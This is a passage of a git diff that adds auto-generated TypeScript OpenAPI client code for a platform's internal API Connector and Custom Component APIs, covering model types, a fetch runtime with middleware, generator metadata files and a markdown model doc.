+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+
+/**
+ * The HTTP method.
+ * @export
+ */
+export const HttpMethod = {
+    Delete: 'DELETE',
+    Get: 'GET',
+    Post: 'POST',
+    Put: 'PUT',
+    Patch: 'PATCH'
+} as const;
+export type HttpMethod = typeof HttpMethod[keyof typeof HttpMethod];
+
+
+export function instanceOfHttpMethod(value: any): boolean {
+    for (const key in HttpMethod) {
+        if (Object.prototype.hasOwnProperty.call(HttpMethod, key)) {
+            if (HttpMethod[key as keyof typeof HttpMethod] === value) {
+                return true;
+            }
+        }
+    }
+    return false;
+}
+
+export function HttpMethodFromJSON(json: any): HttpMethod {
+    return HttpMethodFromJSONTyped(json, false);
+}
+
+export function HttpMethodFromJSONTyped(json: any, ignoreDiscriminator: boolean): HttpMethod {
+    return json as HttpMethod;
+}
+
+export function HttpMethodToJSON(value?: HttpMethod | null): any {
+    return value as any;
+}
+
+export function HttpMethodToJSONTyped(value: any, ignoreDiscriminator: boolean): HttpMethod {
+    return value as HttpMethod;
+}
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/ImportOpenApiSpecificationRequest.ts b/client/src/ee/shared/middleware/platform/api-connector/models/ImportOpenApiSpecificationRequest.ts
new file mode 100644
index 00000000000..b004538c94e
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/ImportOpenApiSpecificationRequest.ts
@@ -0,0 +1,83 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+/**
+ * 
+ * @export
+ * @interface ImportOpenApiSpecificationRequest
+ */
+export interface ImportOpenApiSpecificationRequest {
+    /**
+     * The component name of an API Connector.
+     * @type {string}
+     * @memberof ImportOpenApiSpecificationRequest
+     */
+    name: string;
+    /**
+     * The icon of an API Connector.
+     * @type {string}
+     * @memberof ImportOpenApiSpecificationRequest
+     */
+    icon?: string;
+    /**
+     * The OpenAPI specification.
+     * @type {string}
+     * @memberof ImportOpenApiSpecificationRequest
+     */
+    specification: string;
+}
+
+/**
+ * Check if a given object implements the ImportOpenApiSpecificationRequest interface.
+ */
+export function instanceOfImportOpenApiSpecificationRequest(value: object): value is ImportOpenApiSpecificationRequest {
+    if (!('name' in value) || value['name'] === undefined) return false;
+    if (!('specification' in value) || value['specification'] === undefined) return false;
+    return true;
+}
+
+export function ImportOpenApiSpecificationRequestFromJSON(json: any): ImportOpenApiSpecificationRequest {
+    return ImportOpenApiSpecificationRequestFromJSONTyped(json, false);
+}
+
+export function ImportOpenApiSpecificationRequestFromJSONTyped(json: any, ignoreDiscriminator: boolean): ImportOpenApiSpecificationRequest {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'name': json['name'],
+        'icon': json['icon'] == null ? undefined : json['icon'],
+        'specification': json['specification'],
+    };
+}
+
+export function ImportOpenApiSpecificationRequestToJSON(json: any): ImportOpenApiSpecificationRequest {
+    return ImportOpenApiSpecificationRequestToJSONTyped(json, false);
+}
+
+export function ImportOpenApiSpecificationRequestToJSONTyped(value?: ImportOpenApiSpecificationRequest | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'name': value['name'],
+        'icon': value['icon'],
+        'specification': value['specification'],
+    };
+}
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/Tag.ts b/client/src/ee/shared/middleware/platform/api-connector/models/Tag.ts
new file mode 100644
index 00000000000..239250d1c06
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/Tag.ts
@@ -0,0 +1,110 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+/**
+ * A tag.
+ * @export
+ * @interface Tag
+ */
+export interface Tag {
+    /**
+     * The created by.
+     * @type {string}
+     * @memberof Tag
+     */
+    readonly createdBy?: string;
+    /**
+     * The created date.
+     * @type {Date}
+     * @memberof Tag
+     */
+    readonly createdDate?: Date;
+    /**
+     * The id of the tag.
+     * @type {number}
+     * @memberof Tag
+     */
+    id?: number;
+    /**
+     * The last modified by.
+     * @type {string}
+     * @memberof Tag
+     */
+    readonly lastModifiedBy?: string;
+    /**
+     * The last modified date.
+     * @type {Date}
+     * @memberof Tag
+     */
+    readonly lastModifiedDate?: Date;
+    /**
+     * The name of the tag.
+     * @type {string}
+     * @memberof Tag
+     */
+    name: string;
+    /**
+     * 
+     * @type {number}
+     * @memberof Tag
+     */
+    version?: number;
+}
+
+/**
+ * Check if a given object implements the Tag interface.
+ */
+export function instanceOfTag(value: object): value is Tag {
+    if (!('name' in value) || value['name'] === undefined) return false;
+    return true;
+}
+
+export function TagFromJSON(json: any): Tag {
+    return TagFromJSONTyped(json, false);
+}
+
+export function TagFromJSONTyped(json: any, ignoreDiscriminator: boolean): Tag {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'createdBy': json['createdBy'] == null ? undefined : json['createdBy'],
+        'createdDate': json['createdDate'] == null ? undefined : (new Date(json['createdDate'])),
+        'id': json['id'] == null ? undefined : json['id'],
+        'lastModifiedBy': json['lastModifiedBy'] == null ? undefined : json['lastModifiedBy'],
+        'lastModifiedDate': json['lastModifiedDate'] == null ? undefined : (new Date(json['lastModifiedDate'])),
+        'name': json['name'],
+        'version': json['__version'] == null ? undefined : json['__version'],
+    };
+}
+
+export function TagToJSON(json: any): Tag {
+    return TagToJSONTyped(json, false);
+}
+
+export function TagToJSONTyped(value?: Omit<Tag, 'createdBy'|'createdDate'|'lastModifiedBy'|'lastModifiedDate'> | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'id': value['id'],
+        'name': value['name'],
+        '__version': value['version'],
+    };
+}
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/UpdateTagsRequest.ts b/client/src/ee/shared/middleware/platform/api-connector/models/UpdateTagsRequest.ts
new file mode 100644
index 00000000000..c82857af4f1
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/UpdateTagsRequest.ts
@@ -0,0 +1,73 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+import type { Tag } from './Tag';
+import {
+    TagFromJSON,
+    TagFromJSONTyped,
+    TagToJSON,
+    TagToJSONTyped,
+} from './Tag';
+
+/**
+ * The request object that contains the array of tags.
+ * @export
+ * @interface UpdateTagsRequest
+ */
+export interface UpdateTagsRequest {
+    /**
+     * 
+     * @type {Array<Tag>}
+     * @memberof UpdateTagsRequest
+     */
+    tags?: Array<Tag>;
+}
+
+/**
+ * Check if a given object implements the UpdateTagsRequest interface.
+ */
+export function instanceOfUpdateTagsRequest(value: object): value is UpdateTagsRequest {
+    return true;
+}
+
+export function UpdateTagsRequestFromJSON(json: any): UpdateTagsRequest {
+    return UpdateTagsRequestFromJSONTyped(json, false);
+}
+
+export function UpdateTagsRequestFromJSONTyped(json: any, ignoreDiscriminator: boolean): UpdateTagsRequest {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'tags': json['tags'] == null ? undefined : ((json['tags'] as Array<any>).map(TagFromJSON)),
+    };
+}
+
+export function UpdateTagsRequestToJSON(json: any): UpdateTagsRequest {
+    return UpdateTagsRequestToJSONTyped(json, false);
+}
+
+export function UpdateTagsRequestToJSONTyped(value?: UpdateTagsRequest | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'tags': value['tags'] == null ? undefined : ((value['tags'] as Array<any>).map(TagToJSON)),
+    };
+}
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/index.ts b/client/src/ee/shared/middleware/platform/api-connector/models/index.ts
new file mode 100644
index 00000000000..44e7c93be96
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/index.ts
@@ -0,0 +1,8 @@
+/* tslint:disable */
+/* eslint-disable */
+export * from './ApiConnector';
+export * from './ApiConnectorEndpoint';
+export * from './HttpMethod';
+export * from './ImportOpenApiSpecificationRequest';
+export * from './Tag';
+export * from './UpdateTagsRequest';
diff --git a/client/src/ee/shared/middleware/platform/api-connector/runtime.ts b/client/src/ee/shared/middleware/platform/api-connector/runtime.ts
new file mode 100644
index 00000000000..53e9a762402
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/runtime.ts
@@ -0,0 +1,432 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+
+export const BASE_PATH = "/api/platform/internal".replace(/\/+$/, "");
+
+export interface ConfigurationParameters {
+    basePath?: string; // override base path
+    fetchApi?: FetchAPI; // override for fetch implementation
+    middleware?: Middleware[]; // middleware to apply before/after fetch requests
+    queryParamsStringify?: (params: HTTPQuery) => string; // stringify function for query strings
+    username?: string; // parameter for basic security
+    password?: string; // parameter for basic security
+    apiKey?: string | Promise<string> | ((name: string) => string | Promise<string>); // parameter for apiKey security
+    accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string | Promise<string>); // parameter for oauth2 security
+    headers?: HTTPHeaders; //header params we want to use on every request
+    credentials?: RequestCredentials; //value for the credentials param we want to use on each request
+}
+
+export class Configuration {
+    constructor(private configuration: ConfigurationParameters = {}) {}
+
+    set config(configuration: Configuration) {
+        this.configuration = configuration;
+    }
+
+    get basePath(): string {
+        return this.configuration.basePath != null ? this.configuration.basePath : BASE_PATH;
+    }
+
+    get fetchApi(): FetchAPI | undefined {
+        return this.configuration.fetchApi;
+    }
+
+    get middleware(): Middleware[] {
+        return this.configuration.middleware || [];
+    }
+
+    get queryParamsStringify(): (params: HTTPQuery) => string {
+        return this.configuration.queryParamsStringify || querystring;
+    }
+
+    get username(): string | undefined {
+        return this.configuration.username;
+    }
+
+    get password(): string | undefined {
+        return this.configuration.password;
+    }
+
+    get apiKey(): ((name: string) => string | Promise<string>) | undefined {
+        const apiKey = this.configuration.apiKey;
+        if (apiKey) {
+            return typeof apiKey === 'function' ? apiKey : () => apiKey;
+        }
+        return undefined;
+    }
+
+    get accessToken(): ((name?: string, scopes?: string[]) => string | Promise<string>) | undefined {
+        const accessToken = this.configuration.accessToken;
+        if (accessToken) {
+            return typeof accessToken === 'function' ? accessToken : async () => accessToken;
+        }
+        return undefined;
+    }
+
+    get headers(): HTTPHeaders | undefined {
+        return this.configuration.headers;
+    }
+
+    get credentials(): RequestCredentials | undefined {
+        return this.configuration.credentials;
+    }
+}
+
+export const DefaultConfig = new Configuration();
+
+/**
+ * This is the base class for all generated API classes.
+ */
+export class BaseAPI {
+
+    private static readonly jsonRegex = new RegExp('^(:?application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(:?;.*)?$', 'i');
+    private middleware: Middleware[];
+
+    constructor(protected configuration = DefaultConfig) {
+        this.middleware = configuration.middleware;
+    }
+
+    withMiddleware<T extends BaseAPI>(this: T, ...middlewares: Middleware[]) {
+        const next = this.clone<T>();
+        next.middleware = next.middleware.concat(...middlewares);
+        return next;
+    }
+
+    withPreMiddleware<T extends BaseAPI>(this: T, ...preMiddlewares: Array<Middleware['pre']>) {
+        const middlewares = preMiddlewares.map((pre) => ({ pre }));
+        return this.withMiddleware<T>(...middlewares);
+    }
+
+    withPostMiddleware<T extends BaseAPI>(this: T, ...postMiddlewares: Array<Middleware['post']>) {
+        const middlewares = postMiddlewares.map((post) => ({ post }));
+        return this.withMiddleware<T>(...middlewares);
+    }
+
+    /**
+     * Check if the given MIME is a JSON MIME.
+     * JSON MIME examples:
+     *   application/json
+     *   application/json; charset=UTF8
+     *   APPLICATION/JSON
+     *   application/vnd.company+json
+     * @param mime - MIME (Multipurpose Internet Mail Extensions)
+     * @return True if the given MIME is JSON, false otherwise.
+     */
+    protected isJsonMime(mime: string | null | undefined): boolean {
+        if (!mime) {
+            return false;
+        }
+        return BaseAPI.jsonRegex.test(mime);
+    }
+
+    protected async request(context: RequestOpts, initOverrides?: RequestInit | InitOverrideFunction): Promise<Response> {
+        const { url, init } = await this.createFetchParams(context, initOverrides);
+        const response = await this.fetchApi(url, init);
+        if (response && (response.status >= 200 && response.status < 300)) {
+            return response;
+        }
+        throw new ResponseError(response, 'Response returned an error code');
+    }
+
+    private async createFetchParams(context: RequestOpts, initOverrides?: RequestInit | InitOverrideFunction) {
+        let url = this.configuration.basePath + context.path;
+        if (context.query !== undefined && Object.keys(context.query).length !== 0) {
+            // only add the querystring to the URL if there are query parameters.
+            // this is done to avoid urls ending with a "?" character which buggy webservers
+            // do not handle correctly sometimes.
+            url += '?' + this.configuration.queryParamsStringify(context.query);
+        }
+
+        const headers = Object.assign({}, this.configuration.headers, context.headers);
+        Object.keys(headers).forEach(key => headers[key] === undefined ? delete headers[key] : {});
+
+        const initOverrideFn =
+            typeof initOverrides === "function"
+                ? initOverrides
+                : async () => initOverrides;
+
+        const initParams = {
+            method: context.method,
+            headers,
+            body: context.body,
+            credentials: this.configuration.credentials,
+        };
+
+        const overriddenInit: RequestInit = {
+            ...initParams,
+            ...(await initOverrideFn({
+                init: initParams,
+                context,
+            }))
+        };
+
+        let body: any;
+        if (isFormData(overriddenInit.body)
+            || (overriddenInit.body instanceof URLSearchParams)
+            || isBlob(overriddenInit.body)) {
+          body = overriddenInit.body;
+        } else if (this.isJsonMime(headers['Content-Type'])) {
+          body = JSON.stringify(overriddenInit.body);
+        } else {
+          body = overriddenInit.body;
+        }
+
+        const init: RequestInit = {
+            ...overriddenInit,
+            body
+        };
+
+        return { url, init };
+    }
+
+    private fetchApi = async (url: string, init: RequestInit) => {
+        let fetchParams = { url, init };
+        for (const middleware of this.middleware) {
+            if (middleware.pre) {
+                fetchParams = await middleware.pre({
+                    fetch: this.fetchApi,
+                    ...fetchParams,
+                }) || fetchParams;
+            }
+        }
+        let response: Response | undefined = undefined;
+        try {
+            response = await (this.configuration.fetchApi || fetch)(fetchParams.url, fetchParams.init);
+        } catch (e) {
+            for (const middleware of this.middleware) {
+                if (middleware.onError) {
+                    response = await middleware.onError({
+                        fetch: this.fetchApi,
+                        url: fetchParams.url,
+                        init: fetchParams.init,
+                        error: e,
+                        response: response ? response.clone() : undefined,
+                    }) || response;
+                }
+            }
+            if (response === undefined) {
+              if (e instanceof Error) {
+                throw new FetchError(e, 'The request failed and the interceptors did not return an alternative response');
+              } else {
+                throw e;
+              }
+            }
+        }
+        for (const middleware of this.middleware) {
+            if (middleware.post) {
+                response = await middleware.post({
+                    fetch: this.fetchApi,
+                    url: fetchParams.url,
+                    init: fetchParams.init,
+                    response: response.clone(),
+                }) || response;
+            }
+        }
+        return response;
+    }
+
+    /**
+     * Create a shallow clone of `this` by constructing a new instance
+     * and then shallow cloning data members.
+     */
+    private clone<T extends BaseAPI>(this: T): T {
+        const constructor = this.constructor as any;
+        const next = new constructor(this.configuration);
+        next.middleware = this.middleware.slice();
+        return next;
+    }
+};
+
+function isBlob(value: any): value is Blob {
+    return typeof Blob !== 'undefined' && value instanceof Blob;
+}
+
+function isFormData(value: any): value is FormData {
+    return typeof FormData !== "undefined" && value instanceof FormData;
+}
+
+export class ResponseError extends Error {
+    override name: "ResponseError" = "ResponseError";
+    constructor(public response: Response, msg?: string) {
+        super(msg);
+    }
+}
+
+export class FetchError extends Error {
+    override name: "FetchError" = "FetchError";
+    constructor(public cause: Error, msg?: string) {
+        super(msg);
+    }
+}
+
+export class RequiredError extends Error {
+    override name: "RequiredError" = "RequiredError";
+    constructor(public field: string, msg?: string) {
+        super(msg);
+    }
+}
+
+export const COLLECTION_FORMATS = {
+    csv: ",",
+    ssv: " ",
+    tsv: "\t",
+    pipes: "|",
+};
+
+export type FetchAPI = WindowOrWorkerGlobalScope['fetch'];
+
+export type Json = any;
+export type HTTPMethod = 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'OPTIONS' | 'HEAD';
+export type HTTPHeaders = { [key: string]: string };
+export type HTTPQuery = { [key: string]: string | number | null | boolean | Array<string | number | null | boolean> | Set<string | number | null | boolean> | HTTPQuery };
+export type HTTPBody = Json | FormData | URLSearchParams;
+export type HTTPRequestInit = { headers?: HTTPHeaders; method: HTTPMethod; credentials?: RequestCredentials; body?: HTTPBody };
+export type ModelPropertyNaming = 'camelCase' | 'snake_case' | 'PascalCase' | 'original';
+
+export type InitOverrideFunction = (requestContext: { init: HTTPRequestInit, context: RequestOpts }) => Promise<RequestInit>
+
+export interface FetchParams {
+    url: string;
+    init: RequestInit;
+}
+
+export interface RequestOpts {
+    path: string;
+    method: HTTPMethod;
+    headers: HTTPHeaders;
+    query?: HTTPQuery;
+    body?: HTTPBody;
+}
+
+export function querystring(params: HTTPQuery, prefix: string = ''): string {
+    return Object.keys(params)
+        .map(key => querystringSingleKey(key, params[key], prefix))
+        .filter(part => part.length > 0)
+        .join('&');
+}
+
+function querystringSingleKey(key: string, value: string | number | null | undefined | boolean | Array<string | number | null | boolean> | Set<string | number | null | boolean> | HTTPQuery, keyPrefix: string = ''): string {
+    const fullKey = keyPrefix + (keyPrefix.length ? `[${key}]` : key);
+    if (value instanceof Array) {
+        const multiValue = value.map(singleValue => encodeURIComponent(String(singleValue)))
+            .join(`&${encodeURIComponent(fullKey)}=`);
+        return `${encodeURIComponent(fullKey)}=${multiValue}`;
+    }
+    if (value instanceof Set) {
+        const valueAsArray = Array.from(value);
+        return querystringSingleKey(key, valueAsArray, keyPrefix);
+    }
+    if (value instanceof Date) {
+        return `${encodeURIComponent(fullKey)}=${encodeURIComponent(value.toISOString())}`;
+    }
+    if (value instanceof Object) {
+        return querystring(value as HTTPQuery, fullKey);
+    }
+    return `${encodeURIComponent(fullKey)}=${encodeURIComponent(String(value))}`;
+}
+
+export function exists(json: any, key: string) {
+    const value = json[key];
+    return value !== null && value !== undefined;
+}
+
+export function mapValues(data: any, fn: (item: any) => any) {
+    const result: { [key: string]: any } = {};
+    for (const key of Object.keys(data)) {
+        result[key] = fn(data[key]);
+    }
+    return result;
+}
+
+export function canConsumeForm(consumes: Consume[]): boolean {
+    for (const consume of consumes) {
+        if ('multipart/form-data' === consume.contentType) {
+            return true;
+        }
+    }
+    return false;
+}
+
+export interface Consume {
+    contentType: string;
+}
+
+export interface RequestContext {
+    fetch: FetchAPI;
+    url: string;
+    init: RequestInit;
+}
+
+export interface ResponseContext {
+    fetch: FetchAPI;
+    url: string;
+    init: RequestInit;
+    response: Response;
+}
+
+export interface ErrorContext {
+    fetch: FetchAPI;
+    url: string;
+    init: RequestInit;
+    error: unknown;
+    response?: Response;
+}
+
+export interface Middleware {
+    pre?(context: RequestContext): Promise<FetchParams | void>;
+    post?(context: ResponseContext): Promise<Response | void>;
+    onError?(context: ErrorContext): Promise<Response | void>;
+}
+
+export interface ApiResponse<T> {
+    raw: Response;
+    value(): Promise<T>;
+}
+
+export interface ResponseTransformer<T> {
+    (json: any): T;
+}
+
+export class JSONApiResponse<T> {
+    constructor(public raw: Response, private transformer: ResponseTransformer<T> = (jsonValue: any) => jsonValue) {}
+
+    async value(): Promise<T> {
+        return this.transformer(await this.raw.json());
+    }
+}
+
+export class VoidApiResponse {
+    constructor(public raw: Response) {}
+
+    async value(): Promise<void> {
+        return undefined;
+    }
+}
+
+export class BlobApiResponse {
+    constructor(public raw: Response) {}
+
+    async value(): Promise<Blob> {
+        return await this.raw.blob();
+    };
+}
+
+export class TextApiResponse {
+    constructor(public raw: Response) {}
+
+    async value(): Promise<string> {
+        return await this.raw.text();
+    };
+}
diff --git a/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator-ignore b/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator-ignore
new file mode 100644
index 00000000000..7484ee590a3
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator-ignore
@@ -0,0 +1,23 @@
+# OpenAPI Generator Ignore
+# Generated by openapi-generator https://github.com/openapitools/openapi-generator
+
+# Use this file to prevent files from being overwritten by the generator.
+# The patterns follow closely to .gitignore or .dockerignore.
+
+# As an example, the C# client generator defines ApiClient.cs.
+# You can make changes and tell OpenAPI Generator to ignore just this file by uncommenting the following line:
+#ApiClient.cs
+
+# You can match any string of characters against a directory, file or extension with a single asterisk (*):
+#foo/*/qux
+# The above matches foo/bar/qux and foo/baz/qux, but not foo/bar/baz/qux
+
+# You can recursively match patterns against a directory, file or extension with a double asterisk (**):
+#foo/**/qux
+# This matches foo/bar/qux, foo/baz/qux, and foo/bar/baz/qux
+
+# You can also negate patterns with an exclamation (!).
+# For example, you can ignore all files in a docs folder with the file extension .md:
+#docs/*.md
+# Then explicitly reverse the ignore rule for a single file:
+#!docs/README.md
diff --git a/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator/FILES b/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator/FILES
new file mode 100644
index 00000000000..fea25b271be
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator/FILES
@@ -0,0 +1,8 @@
+apis/CustomComponentApi.ts
+apis/index.ts
+docs/CustomComponent.md
+docs/CustomComponentApi.md
+index.ts
+models/CustomComponent.ts
+models/index.ts
+runtime.ts
diff --git a/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator/VERSION b/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator/VERSION
new file mode 100644
index 00000000000..1b2d969d190
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/.openapi-generator/VERSION
@@ -0,0 +1 @@
+7.18.0
diff --git a/client/src/ee/shared/middleware/platform/custom-component/apis/CustomComponentApi.ts b/client/src/ee/shared/middleware/platform/custom-component/apis/CustomComponentApi.ts
new file mode 100644
index 00000000000..36d01754f19
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/apis/CustomComponentApi.ts
@@ -0,0 +1,197 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform Custom Component Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+
+import * as runtime from '../runtime';
+import type {
+  CustomComponent,
+} from '../models/index';
+import {
+    CustomComponentFromJSON,
+    CustomComponentToJSON,
+} from '../models/index';
+
+export interface DeleteCustomComponentRequest {
+    id: number;
+}
+
+export interface EnableCustomComponentRequest {
+    id: number;
+    enable: boolean;
+}
+
+export interface GetCustomComponentRequest {
+    id: number;
+}
+
+/**
+ * 
+ */
+export class CustomComponentApi extends runtime.BaseAPI {
+
+    /**
+     * Delete an custom component.
+     * Delete an custom component
+     */
+    async deleteCustomComponentRaw(requestParameters: DeleteCustomComponentRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling deleteCustomComponent().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/custom-components/{id}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'DELETE',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.VoidApiResponse(response);
+    }
+
+    /**
+     * Delete an custom component.
+     * Delete an custom component
+     */
+    async deleteCustomComponent(requestParameters: DeleteCustomComponentRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
+        await this.deleteCustomComponentRaw(requestParameters, initOverrides);
+    }
+
+    /**
+     * Enable/disable a custom component.
+     * Enable/disable a custom component.
+     */
+    async enableCustomComponentRaw(requestParameters: EnableCustomComponentRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling enableCustomComponent().'
+            );
+        }
+
+        if (requestParameters['enable'] == null) {
+            throw new runtime.RequiredError(
+                'enable',
+                'Required parameter "enable" was null or undefined when calling enableCustomComponent().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/custom-components/{id}/enable/{enable}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+        urlPath = urlPath.replace(`{${"enable"}}`, encodeURIComponent(String(requestParameters['enable'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'PATCH',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.VoidApiResponse(response);
+    }
+
+    /**
+     * Enable/disable a custom component.
+     * Enable/disable a custom component.
+     */
+    async enableCustomComponent(requestParameters: EnableCustomComponentRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
+        await this.enableCustomComponentRaw(requestParameters, initOverrides);
+    }
+
+    /**
+     * Get an custom component by id.
+     * Get an custom component by id
+     */
+    async getCustomComponentRaw(requestParameters: GetCustomComponentRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<CustomComponent>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling getCustomComponent().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/custom-components/{id}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'GET',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => CustomComponentFromJSON(jsonValue));
+    }
+
+    /**
+     * Get an custom component by id.
+     * Get an custom component by id
+     */
+    async getCustomComponent(requestParameters: GetCustomComponentRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<CustomComponent> {
+        const response = await this.getCustomComponentRaw(requestParameters, initOverrides);
+        return await response.value();
+    }
+
+    /**
+     * Get Custom Components.
+     * Get Custom Components
+     */
+    async getCustomComponentsRaw(initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<Array<CustomComponent>>> {
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/custom-components`;
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'GET',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => jsonValue.map(CustomComponentFromJSON));
+    }
+
+    /**
+     * Get Custom Components.
+     * Get Custom Components
+     */
+    async getCustomComponents(initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<Array<CustomComponent>> {
+        const response = await this.getCustomComponentsRaw(initOverrides);
+        return await response.value();
+    }
+
+}
diff --git a/client/src/ee/shared/middleware/platform/custom-component/apis/index.ts b/client/src/ee/shared/middleware/platform/custom-component/apis/index.ts
new file mode 100644
index 00000000000..487576a3f8e
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/apis/index.ts
@@ -0,0 +1,3 @@
+/* tslint:disable */
+/* eslint-disable */
+export * from './CustomComponentApi';
diff --git a/client/src/ee/shared/middleware/platform/custom-component/docs/CustomComponent.md b/client/src/ee/shared/middleware/platform/custom-component/docs/CustomComponent.md
new file mode 100644
index 00000000000..c212886c723
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/docs/CustomComponent.md
@@ -0,0 +1,59 @@
+
+# CustomComponent
+
+An custom component.
+
+## Properties
+
+Name | Type
+------------ | -------------
+`componentVersion` | number
+`createdBy` | string
+`createdDate` | Date
+`description` | string
+`enabled` | boolean
+`icon` | string
+`id` | number
+`language` | string
+`lastModifiedBy` | string
+`lastModifiedDate` | Date
+`name` | string
+`title` | string
+`version` | number
+
+## Example
+
+```typescript
+import type { CustomComponent } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "componentVersion": null,
+  "createdBy": null,
+  "createdDate": null,
+  "description": null,
+  "enabled": null,
+  "icon": null,
+  "id": null,
+  "language": null,
+  "lastModifiedBy": null,
+  "lastModifiedDate": null,
+  "name": null,
+  "title": null,
+  "version": null,
+} satisfies CustomComponent
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
